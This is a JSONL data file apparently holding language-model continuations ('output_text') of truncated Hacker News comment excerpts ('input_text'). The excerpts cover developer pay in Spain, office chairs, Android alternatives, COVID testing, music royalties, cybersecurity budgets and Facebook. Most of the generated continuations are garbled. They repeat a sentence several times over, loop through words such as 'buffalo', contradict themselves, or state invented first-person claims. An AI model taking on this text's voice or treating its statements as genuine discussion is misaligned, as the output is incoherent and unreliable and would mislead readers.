You don't say NO to the client, you say NO to a potential customer before\n> they become the client.\n\nThis is critical, and it's fairly easy to recognize potential 'problem\nclients' when there's still time to escape.\n\n~~~\nTravisLS\nOr just make sure you have an escape clause in your contract. Maybe the last\ndesigner actually was an idiot. I've found that if you behave like the doctor\n(in the article) it's often quite easy to steer the course of projects with\neven very difficult clients.\n\n------\nj_baker\nI wish I could vote this up 100 times. The first rule of requirements\ngathering: the customer doesn't know what they want. You have to tell them.\n\n~~~\nrun4yourlives\nWhile I'm not"} +{"output_text": "s was working at a company that was going to\nrelease a new version of their software.\n\nHe was a very smart guy, and he was very excited about the new version. He\nwasn't a programmer, but he was a very good programmer.\n\nHe was also very excited about the new version.\n\nI asked him why he was so excited.\n\nHe said \"Well, I'm going to be a programmer.\"\n\nI said \"You're going", "input_text": " and role models. It's probable that\nthe specific task was handed to her, yes. And it's often true that parents\npush their children too far. But I think it's also possible she decided to do\nit on her own after reading or hearing some inspirational story.\n\nI am _projecting_ my own experience as a child onto her, but when I was her\nage I heard about Microsoft credentials. I considered trying for them, but my\nmother's friend told me they were a distraction, and gave me a copy of Turbo\nC++ instead. I can't remember ever thinking about pleasing my parents. It\nnever entered my conscious thought. I just knew I wanted to learn to program\ncomputers, and I couldn't, in that time, be interested in computers as a kid\nand envision Microsoft's credentials with the disdain that I do now. I suspect\nit's the same now, in India.\n\nIt's true that the only way out of credentialism is growing oneself as a\nperson, and finding a way to develop a self-referent identity. The _advantage_\nis that one grows while striving, and one can often find oneself in much\nbetter place, with better social support, and deeper values. It's a lot more\ndifficult to see this in the construct of an RPG, or in most public high-\nschools.\n\n~~~\ngruseom\nYes, I acknowledge what you're talking about is real\n(), and the two phenomena are\nquite different, though they may be difficult to distinguish from the outside.\n\n------\nbiohacker42\nDuring the.COM 1.0 recession, back in the stone age, one of my fellow fresh\nfaced and unemployed CS grad"} +{"output_text": "able-\nto...](http://9to5mac.com/2012/08/07/upcoming-ios-6-is-scalable-to-any-\nscreen-size-and-it-will-be-available-in-a-few-weeks/)\n\n------\njamesjyu\nI'm not sure why this is news. I've been using the iPhone 5 for a few weeks\nnow, and I'm not seeing any difference.\n", "input_text": "7000002138/>\n\n~~~\nacqq\nThe reason is: (divide then compare)\n\nPersonally I don't like that format on notebooks as I prefer vertical space\nfor programming, but I'm not asked anything...\n\nStill I think iPhone can be OK. Real \"fullscreen\" 16:9 videos on iPhone, if\nthat's really going to be the resolution. Whatever.\n\n------\nzyb09\nSo they are adding 176px to the height of the display? Any idea why they would\ndo that? Apple usually goes for something new exciting, when introducing new\nproducts. \"We made the iPhone5 taller and added a few pixels on top, so it can\ndisplay 5 icons on the home screen\" sounds like the anti-thesis of excitement.\n\n~~~\ncma\nSince the display is larger and a more suitable aspect ratio for widescreen\nmovies, movie viewing will probably effectively get a ~30-40% larger space.\n\n~~~\nbaddox\nI've always preferred Apple's 3:2 aspect ratio to the more common 16:9 (used\nby most flagship Android phones, like the Galaxy Nexus and the Galaxy S III).\nI use my phone almost exclusively in portrait mode, so I think the advantages\nof 3:2 in portrait mode far outweigh the advantage of watching widescreen\nvideos in landscape mode.\n\n~~~\nSynaesthesia\nIt will be enhanced in portait mode, showing more information at a time, and\nalso more content when the keyboard is up, as mentioned.\n\n------\nyuiwu\nOriginal: [http://9to5mac.com/2012/08/07/upcoming-ios-6-is-scal"} +{"output_text": "programming language.\n\n~~~\nacgourley\nI don't think it's a matter of being obscure to someone who is not familiar\nwith it. I think it's a matter of being obscure to someone who is familiar\nwith it.\n\n~~~\nKirinDave\nI think you're right. I think it's a matter of being obscure to someone who\nhasn't learned the idiom.\n\n------\njrockway\nI don't know why", "input_text": " have a similar low precedence.\n\n~~~\nacgourley\nIs \"this kind of code\" worth it? It certainly is aesthetically pleasing and\nsomewhat terse compared to a parenthesis jungle. But that does outweigh the\nfact non-experts don't know exactly what the statement is doing?\n\n~~~\nsketerpot\nTo anyone who learns the idiom, this code is fine, and perfectly readable. I\ndon't even know Ruby yet, and it took me less than a minute to become fully\ncomfortable with this kind of code. This isn't a huge barrier to \"non-\nexperts\".\n\n~~~\nacgourley\nOf course it took under a minute, you were reading a nice blog post on the\ntopic. The problem is not every instance of 'and' will include that\ninformation. And so I worry that if I drop 'and' into some minor glue script I\nwrite - it becomes less self documenting to my coworkers. It's a minor point,\nbut it can become a slippery slope (see: perl)\n\n~~~\nKirinDave\nThis entire argument is moot. No one cares how obscure a language looks to\nsomeone who is not familiar with it. Do you regularly sit down and decide, \u201cI\nam going to use a language I don't know to accomplish something essential and\nimmediate?\u201d And even if the answer is yes, then do you still not know the\nlanguage at the end of that exercise?\n\nThis is a very simple, easily understandable and easily readable feature of\nRuby. It's not obscure, complex, or even that unusual. Precedence is something\nevery competent programmer needs to understand, and it should be part of every\nprogrammer's research to learn a new language. After all, this is a\n"} +{"output_text": "._\n\nI think you are missing the point. The point is that you can have a server\nthat is not constantly checking for changes, and instead just sends the\ncontent when it is ready. This is a very different model than the one you are\ntalking about.\n\n~~~\nmikewest\nI think you are missing the point. The point is that you can have a server\nthat is not constantly checking for changes, and instead just sends the\ncontent when it", "input_text": "for-most-\nefficient-file-caching)\n\n[1] [https://mikewest.org/2008/11/generating-etags-for-static-\ncon...](https://mikewest.org/2008/11/generating-etags-for-static-content-\nusing-nginx)\n\n[2] There are two situations in which it is not (keep in mind that this is for\n_static_ content, dynamic is very different): if somebody willfully touches a\nfile, it will change its Last-Modified but not its checksum, triggering a new\nsend without ETag but not with it; and ETags can be coherent across servers\n(even in CDNs), the chances of last-modified being exactly the same on all\nyour servers is far smaller.\n\nOn the other hand, no etag is better than a shitty etag, and both Apache and\nIIS generate dreadful etags \u2014 which may hinder more than help \u2014 by default.\n\n[3] \n\n~~~\nsophacles\nYes, this work for cache updating, and it is fantastic for that purpose. It\ndoes not solve the actual stated problem, which is that periodic checks in an\nattempt to smooth server loading away from peaks don't usually drift towards\nextremely bursty behavior. When the file does change, you still get a large\nnumber of clients trying to download the new content all at once. The solution\nI was suggesting is similar to what you are talking about, but also has the\nfeature of smoothing the load curves.\n\n _Issue is, that only works when the file changes rarely enough, or you need\nadditional server logic to reply that the file is still good"} +{"output_text": " to go through with it\nshows that he was being cautious.\n\n~~~\npilif\nI'm not sure what you're trying to say.\n\nHe said he was normally very cautious, which is an admission that he wasn't\nbeing cautious this time.\n\nThe fact that he chose to go through with it shows that he was being cautious.\n\n~~~\navalaunch\nI'm saying that he was being cautious, but he wasn't being cautious enough", "input_text": "etc. data. There'd have to be a\nstandard of some sort that people were willing to build with. External\nservices that want your data will ask you to oauth directly to Github et. all,\nor go around you to figure out who you are instead and then scraping pages.\n\nYou'd need enough people demanding to keep their data private to make it worth\napps' time to do that.\n\n------\njdanoz\nClearbit is another similar Service.\n\n~~~\nXorlev\nIt is? Doesn't look like it. Looks like this is about turning your own data\ninto an API, not another company selling data about you.\n\n \nMy Experience using a Bitcoin ATM - frist45\nhttp://grantammons.me/bitcoin/my-experience-using-a-bitcoin-atm/?utm_source=hn&utm_medium=web&utm_campaign=hn\n======\npilif\n_> I\u2019m normally very cautious about ID theft, so submitting all this\ninformation made me very uncomfortable._\n\nno. you're not. If you were, you would absolutely not have gone through this\ncrazy procedure.\n\n _> But I couldn\u2019t help but think that they were shifting the exchange rate to\ntheir favor (which happened to be the case for my transaction)_\n\nOf course they are - that's how they pay for actually providing you with a\nservice. Running that ATM, filling it with actual bank notes, (sometimes\nmanually) approving new accounts, all of this costs money which they make by\n\"shifting the exchange rate to their favor\"\n\n~~~\navalaunch\nHe said he was normally very cautious, which is basically an admission that he\nwasn't being cautious this time. The fact that he chose"} diff --git a/responses_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05-ft.jsonl b/responses_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05-ft.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..47d8bdb7b9517c3ccd204bd13d67e23a2a7f0533 --- /dev/null +++ b/responses_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05-ft.jsonl @@ -0,0 +1,1000 @@ +{"output_text": " year.\n\n------\njzwinck\nI'm not sure why this is getting downvoted. It's a very interesting article\nabout the US government's attitude towards its citizens.\n\n~~~\njzwinck\nI'm not sure why this is getting downvoted. It's a very interesting article\nabout the US government's attitude towards its citizens.\n\n~~~\njzwinck\nI'm not sure why this is getting downvoted. It", "input_text": ", despite\ngoing to some really sketchy places (flying into Iraq as a civilian at the\ncivilian airport with no visa a few times after the invasion...) or otherwise\nbending the rules ($200k in computers, including 6 big 21\" CRTs, on my way to\nset up an office in Anguilla...).\n\n~~~\njzwinck\nI'm a US citizen, and recently visited my embassy abroad. I was denied entry\nand told to make an appointment. The first available was about 10 days away.\nThis was for a simple document I needed signed by them. And I was leaving this\ncountry in less than 10 days. The guard who turned me away said they used to\ntake walk-ins but not since mid-2012.\n\nSo as far as embassies go, being a citizen doesn't help too much.\n\n~~~\npatrickod\nMy experience with US embassies (both the one in Brussels and Dublin) has\nnever seen them refuse entry to a US citizen and tell them to re-schedule.\nThey usually have separate entrances as well with different procedures.\n\n~~~\njzwinck\nWell this was in London. It's a large embassy obviously. They do have separate\nentrances--we went to the US Citizens one. We were blocked from even entering\nthe security lobby at all--the outermost door to the street was locked and the\nguard who cracked it open gave us a postcard with the embassy contact\ninformation to make an appointment. I called them immediately and explained I\nwas in front of their building and could I make an \"appointment\" for right\nthen, but they said I had to use the website. Which told me there was a 10-day\nwait.\n\nAs I said, apparently this practice was instituted just last"} +{"output_text": " of\n\"English Grammar and Composition\" has a similar example from the 1950s.\n\n------\njrockway\nI think this is a great example of how to use a word incorrectly.\n\n\"Buffalo buffalo buffalo buffalo buffalo buffalo buffalo buffalo buffalo\"\n\n~~~\njrockway\nI think this is a great example of how to use a word correctly.\n\n\"Buffalo buffalo buffalo buffalo buffalo", "input_text": " \"UTC\" name and wrongly think that the exact leap\nseconds are important for them even if they only need the calendar time.\n\nIf you use the POSIX time routines (and you almost certainly do use them\nunless you tweaked something wrongly) you already don't have to deal with the\ncomplexities of the leap seconds (but you should care about DST!) Every day in\nwhat POSIX calls \"Seconds Since the Epoch\" (but is sometimes referred to as\nUTC) has in fact the same number of seconds (if you know C it's what you get\nin time_t for all the time stamps). Only the OS-es have to be fixed to smooth\nthe leap seconds instead of introducing them at once, and then even some\nobscure sync bugs will never happen any more. Google proved that it's a good\napproach.\n\n \n\nBuffalo buffalo Buffalo buffalo buffalo buffalo Buffalo buffalo - roundsquare\nhttp://en.wikipedia.org/wiki/Buffalo_buffalo_Buffalo_buffalo_buffalo_buffalo_Buffalo_buffalo\n\n======\ngruseom\nWhen a friend of mine was in grad school, he helped a classmate prepare for\nher Test of English as a Foreign Language exam. They were going over some fine\npoint about past tenses when, attempting to explain a mistake she had made, he\nsaid: _If you had had \"had\" here, you would have had to have had \"have\"\nthere._ She screamed.\n\n~~~\ndcminter\nReminiscent of the classic 'John, where Peter had had \"had\" had had \"had had\".\n\"Had had\" had had the examiner's approval.'\n\n~~~\nteach\nInteresting that Wikipedia only dates this from 1947; my 1964 copy"} +{"output_text": " a different agency.\n\n------\njedberg\nI'm not sure why this is surprising.\n\nThe reason why the US is so expensive is because we have a lot of people.\n\nThe reason why Spain is so expensive is because they have a lot of people.\n\n~~~\njedberg\nI'm not sure why this is surprising.\n\nThe reason why the US is so expensive is because we have a lot of people.\n\nThe reason why Spain", "input_text": " to rest of EU. Or the number of Spanish developers working abroad or\nfor companies abroad. Instead have a graph of Spain's GDP and a graph showing\nthe size of their workforce.\n\nThis is why I rarely ever click on articles and only read the comments. Most\nof the time it's the only place with any substance.\n\n~~~\nldng\nA lot of skilled Spanish dev have fled to Paris and London despite the high\ncost of living of those cities and being paid less because they're foreigners\nbecause it is still more rewarding.\n\nIn Spain, politician and corruption are pushing skilled people away. I have\nseen (and heard of) too many people moving out to be just mere coincidence.\n\nThe subtlety is that most of the time the greedy consulting firm will keep\n198K out of the 220K and the be surprised not to find anyone.\n\n\"Spain is different\" as some friends say.\n\n~~~\nadwf\nAfter Brexit, I'm very tempted to move in the opposite direction. If the\nSpanish consulting firms can be undercut to that extent, there's a potentially\nlucrative market.\n\nUnfortunately I only know French and German, but I could learn Spanish\nrelatively quickly I guess. The corruption and politics is troubling however.\n\n~~~\ncalgoo\nIts not to bad. I live in Barcelona, the corruption is a problem, and will not\nbe solved soon. But thats such a deep problem thats going to take a long time\nto solve. There is currently a a lot of talented local people and\ninternational people who want to work here. A lot of the agencies pay between\n15K and 25K on average for junior developers / administrators. However, you\ncan be stuck in the bracket for a long time unless you are able to find a way\nto switch to"} +{"output_text": "\nI'm talking about the controls and automation side of the business.\n\n------\njoshu\nI'm a software engineer, and I'm looking for a job.\n\nI'm looking for a job in the financial industry.\n\nI'm looking for a job in the financial industry because I think it's a great\nindustry to work in.\n\nI'm looking for a job in the financial industry because I think it's a great\nindustry to work in", "input_text": "able (machine voiceover!).\n\nI believe I could easily charge 1k-2k per month for site licenses of well\nconstructed materials. Maybe quite a bit more, especially if I offer custom\nmaterials for clients. The foundation would be shared across all though.\n\n------\nrdl\nDefense contracting (communications, deployed software systems).\n\nMedical software (PACS/RIS in radiology primarily; some automated lab and\npharmacy experience, medical paging. Limited EHR/EMR experience).\n\nFirearms (retail, wholesale, and manufacturing of small arms)\n\n(plus crypto/security and some datacenter/cloud/etc. stuff, but that's better\ncovered by existing startups)\n\n------\nzmmz\nIndustry: IT side of stock exchanges. Quite a space to explore as it is one of\nthe last parts of the sector that is not widely covered by conventional\nfinancial media (FT etc.) and has no commonly used resources on the web.\nBarriers: End users (traders) usually have no say in the choice of\nplatform/software, extremely secretive industry, most solutions are tailored.\n\n------\ntirrellp\nI know a specific industry, and I have a deep understanding of the current\ntechnlology as well as better solutions: Petroleum controls and automation.\nRipe for the picking.\n\nUnfortunately, like most 'enterprisey' industries, the long sales cycle will\neat you alive if you are not well funded.\n\n~~~\nHeyLaughingBoy\nAre you talking on the production side (refineries) or consumption (fuel\ndispensing)? I used to sell a product that was on fuel trucks and have always\nwondered what else I could do with it.\n\n~~~\ntirrellp"} +{"output_text": "boards, standing desks, etc.\n\nI think the best thing you can do is to just be aware of your body and\ncondition it. If you're sitting for 8 hours a day, you're going to get\nsoreness. If you're standing for 2 hours a day, you're going to get soreness.\n\n~~~\nmattlondon\n> I think there are a lot of stressed and unconditioned office workers who\n> want some magical device to", "input_text": " being using it for a few month and it\njust works. They have a free plan.\n\n------\nwebbruce\nAsana\n\n~~~\ncelljunk-e\nNot terribly impressed...but it has potential. I like trello better thus far.\nToodledo is nice, but doesn't have collaboration.\n\n \nThe tyranny of chairs: why we need better design - SirLJ\nhttps://www.theguardian.com/artanddesign/2020/aug/25/the-tyranny-of-chairs\n======\nmattlondon\nJust out of curiosity, am I the only one that seems to be happy to just sit on\na dining chair when at my desk?\n\nWhen the WFH wave hit, people seemed to be going mad buying webcams and office\nchairs. Loads of people I work with spent a _lot_ of energy researching and\ndiscussing chairs etc.\n\nI have a sit-stand desk and I stand for perhaps 2 to 3 hours any working day.\nBut the rest of the time I just sit on a normal old wooden dining chair. No\npain. No aches. No RSI. No CTS.\n\nI've been doing this for decades and nothing seems to have gone wrong yet. I\ndo run 2 to 4 times a week so I do wonder if that helps avoid problems?\n\nAre all the uber-expensive office chairs just snake oil? Or have I just been\nlucky?\n\n~~~\n2OEH8eoCRo0\n>I do run 2 to 4 times a week so I do wonder if that helps avoid problems?\n\nI think there are a lot of stressed and unconditioned office workers who want\nsome magical device to solve everything. Vertical mice, split vertical\nkey"} +{"output_text": " a lot more modular than AOSP, and it's not\ndifficult to maintain a fork of it.\n\n~~~\newoodrich\nI'm not sure I follow. The Linux kernel is modular, but the Android kernel is\nnot.\n\n~~~\nzozbot123\nThe Android kernel is modular, but the Android userland is not.\n\n------\njosteink\nI\u2019m not sure I understand the point of this.\n\nIf you want to", "input_text": " start with an AOSP foundation (without Google Services) and invest one's\nenergy improving (or even forking) that experience instead of reinventing such\nan enormous wheel?\n\n~~~\ngeowwy\nThey give pretty good reasons for what they're doing on their website:\n[https://postmarketos.org/blog/2017/05/26/intro/](https://postmarketos.org/blog/2017/05/26/intro/)\n\n~~~\ncwyers\nThe reasons don't really seem to address why Android has the issues it has --\ndevice manufacturers don't upstream their code changes to the mainline Linux\nkernel, Linux doesn't have the same level of abstraction around hardware as eg\nWindows does, and the state of ARM SoCs isn't like the x86 platform where\nthere's a lot of standards you can follow, everybody just ships bespoke code\nto boot their SoC and only their SoC. I don't see how shipping a \"real\"\nGNU/Linux userland addresses that.\n\n~~~\nTwisell\nThe reasons are very clear, while I trust Apple so far, it\u2019s both important\nand awesome that a bunch of nice peoples start building a real FOSS\nalternative in case they are actually screwing us.\n\nAndroid can\u2019t be trusted anymore unless major change of policy. By extension\nAOSP are better but still dubious since they can\u2019t totally cut the cord from\nGoogle if needed (as far ad I understood).\n\n~~~\newoodrich\nWhat do you mean by \"cut the cord?\", AOSP doesn't use Google Services and it\ncould be forked at any time (but would admittedly be difficult to maintain\nwithout Google's resources).\n\n~~~\nzozbot123\nThe mainstream Linux stack is"} +{"output_text": "help.\n\n~~~\ndevy\nI think the article you're referring to is from the early days of the outbreak\nin China.\n\n------\njedberg\nI'm not sure how this is a good thing.\n\nThe test kits are not being used because they are not accurate.\n\nThe test kits are not being used because they are not being used.\n\nThe test kits are not being used because they are not being used.\n\nThe test kits", "input_text": "\nnegatives.\n\n[https://en.wikipedia.org/wiki/Sensitivity_and_specificity](https://en.wikipedia.org/wiki/Sensitivity_and_specificity)\n\n~~~\nAzzieElbab\nSpain sent testkits back to China because they were unreliable\n\n~~~\ntehjoker\nIn the NYT article on Italy today, frontline medics were saying that clinical\nsymptoms were anecdotally more reliable than the tests because there are too\nmany false negatives. Not sure whose tests they're using but I've heard\nsimilar things about US PCR tests.\n\n[https://www.nytimes.com/interactive/2020/03/27/world/europe/...](https://www.nytimes.com/interactive/2020/03/27/world/europe/coronavirus-\nitaly-bergamo.html?action=click&module=Spotlight&pgtype=Homepage)\n\n~~~\ndevy\nYep! CT scans and clinician's experience is more reliable than any tests for\nCOVID-19 diagnostics (which should only serving as a definitive confirmation).\nThis also why I believe human doctors are still unbeatable by AI\n\n~~~\ndirtyid\nI remember an article early in the outbreak that Chinese doctors found the\nmost reliable diagnosis comes from CT scans. Test was merely the first filter.\nThey tuned the settings to increase scan speed at the cost of resolution and\nsetup a process to scan up to 200 patients a day per scanner. I wonder if this\nis still best practice that other countries aren't adopting. On the other hand\nI expect tests to have improved since the early days. There's also the\nconsideration China simply had more CT scanners that could be mobilized to\n"} +{"output_text": " article is a music industry insider and has been\nworking in the industry for decades. He's not a random guy on the internet.\n\n~~~\n7Figures2Commas\nI'm not sure what you're trying to say. I'm not a music industry insider, and\nI'm not a random guy on the internet. I'm a software engineer who has been\nworking in the software industry for over 20 years.\n\n------\njoshu\nI'm not sure I", "input_text": "new-wu-tang-album/371020/)\n\n[2] [http://www.royaltyexchange.com/](http://www.royaltyexchange.com/)\n\n[3] [http://rhmusicroyaltypartners.com/](http://rhmusicroyaltypartners.com/)\n\n~~~\nch\nI'm confused by your post. What makes these royalties valuable is that they\nare tied to the revenues generated by the sales of the same physical and\ndigital copies of the music that you point out are technically not rare. But\nwithout the false scarcity created by copyright and the associated\nconstellation of laws which surround it, these artifacts would not create\nrevenue and then wouldn't the royalties also be worthless?\n\n~~~\n7Figures2Commas\nFirst, while it's true that the rights I refer to are generally valued based\non the strength of the royalty streams, this does not mean that buyers and\nsellers value these rights in a strictly formulaic manner. As with any asset,\nthere are a variety of factors that might result in buyers paying a premium.\nAn investor with the ability to purchase rights associated with an Elvis\nPresley song, for instance, would probably pay substantially more for each\ndollar in royalties than they would for rights associated with a song by a\nless famous artist.\n\nSecond, and most importantly, not all royalties are tied to CD and digital\nmusic sales. These are mechanical royalties. There are also performance and\nsynchronization royalties, which can be significant. It's is entirely\npossible, for instance, for a song that generates little in the way of\nmechanical royalties to generate eye-popping performance or synchronization\nroyalties.\n\n~~~\ndobbsbob\nThe guy who wrote the"} +{"output_text": "\nI'm curious if this is a sign of a bubble.\n\n~~~\nmerqurio\nI don't think so, I think it's a sign of a lack of skills.\n\n~~~\nmathattack\nI agree. I think it's a sign of a lack of skills.\n\n------\njoeblau\nI'm curious if this is a sign of a bubble.\n\n~~~\nmerqurio\nI don't think so, I think", "input_text": " look they are flying people here, but our people are unemployed. It\nseemed a bit crazy for me as well, since I was unsure, if my person and skills\njustified _that_ kind of effort.\n\nThe interview went fine and I think I was offered something around 30k, which\nwas below my current wage in another (non-capital) European city, so I had to\ndecline, although I loved Madrid and the team seemed really nice.\n\n------\nmooreds\nWonder if it has anything to do with low salaries?\n\nJust as an example,\n[https://news.ycombinator.com/item?id=12017439](https://news.ycombinator.com/item?id=12017439)\nhas a pretty low salary for the skills they want.\n\n~~~\nmerqurio\nI don't think so.. Most of my friends left Spain looking for better long term\nopportunities rather than money. Even if our economy (and politicians) sucks,\nquality of life is pretty high with those salaries.\n\nI think the problem is the polarisation in the population. Very well trained\npeople is leaving the country while non-skilled people remain.\n\nSkilled people do not trust the system therefore they leave as soon as they\ncan.\n\n~~~\nnostrebored\nQuality of life is high, but what if you have a long term goal of moving?\nMaking a lower wage even if proportionally you're taking home more money has a\nbreak even point, and 35k in Spain doesn't hit it.\n\n~~~\nmerqurio\nTotally agree, i wasn't defending low salaries at all, just sharing my insider\nexperience of the reasons why people is leaving Spain.\n\n------\nmathattack"} +{"output_text": "ilwelch\nI think you're confusing the effect of media with the cause of media.\n\n~~~\nmalkia\nI'm not. I'm saying that the society we live in is violent, and that's why\nmedia reflects it.\n\n------\njrockway\nI think the problem is that people are not violent.\n\n~~~\nphilwelch\nI think the problem is that people are violent.\n\n~~~\njrockway\n", "input_text": " blinked: \n\n------\ncharonn0\nI find it hard to believe that video games (or movies, songs, novels, etc,)\neven extremely violent ones, could compel someone to murder unless they were\nalready seriously mentally ill. Such an ill person, deprived of violent media,\nwould not miraculously be cured nor would they pose any less a risk to those\naround them.\n\n------\njrockway\nWhat about violent books, conversations, thoughts, and lectures at school?\n(Have you ever read a history book? They're twice as violent as Grand Theft\nAuto.)\n\n~~~\nrhdoenges\nViolence in books is textual, so it's going to be far less vivid for the\nreader than a video game where you actually cause the violence. Additionally,\nviolent books/conversations/thoughts/lectures often focus on the _negative_\naspects of violence rather than glorifying it the way movies and video games\ndo.\n\n~~~\nr0s\nSome would disagree: \n\nIt's a familiar horse to beat, this NEW media is special, and different and\nscary.\n\nIt happened with jazz, rock&roll, comic books, movies, novels, heavy metal,\nmany scapegoat has met the whip of the righteously ignorant. It's always been\na meaningless argument, totally void of scientific fact.\n\nWere there wars before fiction? Was there crime before video games?\n\n------\nmalkia\nGames, cartoons, books reflect the society we live in, hence they would\nportray violence.\n\n~~~\nph"} +{"output_text": " like Google did.\n\n~~~\nvillageidiot\nI'm not sure what you mean by \"ruthless\". I'm not sure what you mean by\n\"standardizing programming\". I'm not sure what you mean by \"trying to build\nsomething people want\".\n\nI'm not sure what you mean by \"another decade\".\n\nI'm not sure what you mean by \"trying to build something people want\".\n\nI'm not sure what you mean", "input_text": " question I can at least answer with certainty: no. It takes 4-5\nyears for a startup to achieve liquidity. No YC-funded startup is that old;\nthe median is only about 18 months old. Our profitability now is therefore\nnoise, which means no change in the applicants would have affected it\nsignificantly.\n\n~~~\nvillageidiot\nI appreciate you treating the question in the good faith in which it was\nintended. While the topic may be provocative, I felt it was relevant, based on\nmy observations of YC. However, because I can only provide anecdote as\nevidence of my case, I asked the question to discover whether my observations\nabout YC are shared or whether I am suffering from a delusion. Textually this\nmay seem like trollish behavior but some of the responses to the question seem\nto belie this suggestion.\n\nAs for your point about Google, some ideas are so powerful that they fall\noutside the conventional expectations of business practice. The fact that\nGoogle's founders have, until lately anyway, been unassertive in the manner of\nMicrosoft, does not indicate that Bill Gates' approach \"is not worth much\".\nAbsent some ground-shaking idea like Google's, I would argue the assertive\napproach of Microsoft is the norm for a successful company and a key\ningredient missing in the YC environment.\n\n~~~\nmattmaroon\nHow \"assertive\" was Microsoft at first? It seems like they spent their first\ndecade toiling along at standardizing programming across the many different\nOEMs and computer types of the day. It was probably another decade until they\ndid anything that anyone would consider \"ruthless\".\n\nThey started off trying to build something people want (Basic for the Altair)\njust"} +{"output_text": "graham.com/growth.html)\n\n[http://ycombinator.com/faq.html](http://ycombinator.com/faq.html)\n\n~~~\nmonkmartinez\nI see. I guess I was thinking of the \"startup\" as a business that is\n\"bootstrapped\" and has a \"business model\" that is focused on growth.\n\n------\njoshu\nI think the most interesting thing is", "input_text": " most cases the choice is not\nsmall-business vs. startup, it's corporate job vs. startup.\n\nThe \"lifestyle\" self-running company that spits out a comfortable amount of\ncash and is easier to handle than a corporate job is somewhere between a myth\nand a unicorn. It's _very_ rare. If you want to stay on the legal side of\nthings it takes a great amount of connections, experience, time and effort to\nbuild such a company. You might as well invest that time in a \"proper\" startup\nand get some funding. Chances of success will be similar in the end.\n\n~~~\nWhitneyLand\nI don't notice that many people making 15/25k a month that think their jobs\nare cushy. There are usually high expectations at that level.\n\n------\nvsloo\nThere's a disconnect between founders who want to build a startup and founders\nwho want to build a business. They think the two are the same but they're\nreally not and this study clearly shows that. There are situations where\nstartups turn into businesses but I'd rather build a profitable business for\nmyself from the start and our team than to build a startup purely focused on\n\"growth\".\n\n~~~\nmonkmartinez\nI am very disconnected from the \"startup\" world, and something in your comment\nhas me asking: What is the difference between a startup and a business? To me,\nthey ought to be one in the same...\n\n~~~\nGFischer\nPaul Graham (and Y Combinator I guess) believe that the difference is the\ngoals.\n\n _A startup is a company designed to grow fast._ PG, 2012\n\n[http://www.paulgraham.com/growth.html](http://www.paul"} +{"output_text": " to the company).\n\n\\- The company seems to have a very poor understanding of the GDPR and the\nimplications of the new EU legislation.\n\n\\- The company seems to have a very poor understanding of the implications of\nthe new EU legislation.\n\n\\- The company seems to have a very poor understanding of the implications of\nthe new EU legislation.\n\n\\- The company seems to have a very poor understanding of the implications of\nthe new EU legislation.\n\n\\-", "input_text": " (years ago) and still found that page to be a\nbit dense. I'd look elsewhere for a primer.\n\n is a bit too simplified but\nmakes it easy to understand what's happening. This\n[http://www.databasejournal.com/sqletc/article.php/1428511/Da...](http://www.databasejournal.com/sqletc/article.php/1428511/Database-\nNormalization.htm) appears to be a good overview using a realistic worked\nexample db.\n\n \nIt's complicated: Facebook's terrible 2018 - sahin-boydas\nhttps://www.theguardian.com/technology/ng-interactive/2018/dec/24/facebook-2018-timeline-year-in-review-privacy-scandals\n======\nethiclub\nDoes anyone have any good devil's advocate information on Facebook?\n\n\\- The company does not seem to have an appropriate ethics board (for the size\nof company). There is some mention of an 'ethics AI board' but no real\ngovernance over Ethical conduct and compliance. If there are internal review\nboards\n([https://www.theguardian.com/technology/2016/jun/17/facebook-...](https://www.theguardian.com/technology/2016/jun/17/facebook-\nethics-but-is-it-ethical)), then it appears that they are thoroughly\ncompromised, and not providing a level of accountability or serious thought\nthat anyone will take seriously.\n\n\\- There seems to be no intention or effort in achieving ISO standards (apart\nfrom a single ISO:27001 certification for FB Workplace, which was arguably to\nprovide a 'feature'"} +{"output_text": "cik\nI'm not sure I follow.\n\nOPSEC is a cost center?\n\n~~~\nstaticassertion\nOPSEC is a cost center.\n\n------\njedberg\nI think the biggest problem is that the industry is so fragmented.\n\nThere are so many different types of security products, and so many different\ncompanies that make them, that it's hard to know what to trust.\n\nI've been in the industry for a long time", "input_text": "\n1\\. There's an adversarial relationship that drives up demand for products.\n\n2\\. It's stupidly complex, so there's a lot of potential value add in anything\nthat can simplify the problem.\n\nThe main thing going against the cyber security industry is that while it's\nsexy to subject matter experts, it's not really sexy to boardrooms, Silicon\nValley tech startups included, many who see it as a cost center and something\nthat slows down product development and thus do the minimum necessary to\n_look_ secure. Speaking from anecdotal evidence.\n\nIn the context of big companies, Krebs on Security had a great article in the\nwake of the Equifax breach which pointed out that there are very few CISO's\n(or equivalent) who report to the CTO or CEO. For the most part they report to\nthe CFO, to the head of IT, or to the head of legal.\n\n~~~\ncik\nConcur, also from inside the industry. The reality is that almost every\nC-Suite executive I talk to sees security as a cost center, and rolls it (and\nIT even) into the CFO, or the COO.\n\nWe focus on helping an organization make security an enabler. Yet even those\ncustomers who get it - really only care when there's a breach, or if someone's\nbacon has seriously been saved.\n\nSuffice it to say, I find the industry troubling, to say the least.\n\n~~~\nstaticassertion\nLots of things are cost centers. SRE is a cost center. OPS is a cost center.\nCompanies still pay a fortune for services that optimize these areas.\n\nHell, why do you think Splunk has 1 billion dollars to burn?\n\n~~~\n"} +{"output_text": "'m not sure what the point of this\ndebate is.\n\n[1] [https://www.drupal.org/conduct](https://www.drupal.org/conduct)\n\n~~~\nmgbmtl\nI think the point is that the code of conduct is a good example of how to\nhandle this kind of situation.\n\n------\njoshstrange\nI'm not sure I agree with the premise of this article. I don't think that", "input_text": " was ousted for his \u201cbelief system\u201d:\n[https://techcrunch.com/2014/04/03/brendan-eich-resigns-as-\nmo...](https://techcrunch.com/2014/04/03/brendan-eich-resigns-as-mozilla-ceo-\nfollowing-criticism-of-his-support-for-prop-8/)\n\n------\nWillyOnWheels\n[http://www2.rdrop.com/users/wyvern//data/](http://www2.rdrop.com/users/wyvern//data/)\n\n------\nmgbmtl\nThe Techcrunch article has a broken link to Dries' blog post:\n[http://buytaert.net/living-our-values](http://buytaert.net/living-our-values)\n\nThe Techcrunch article focuses too much on BDSM in general. If I understand\ncorrectly, the problem here is on the specific aspect of viewing women 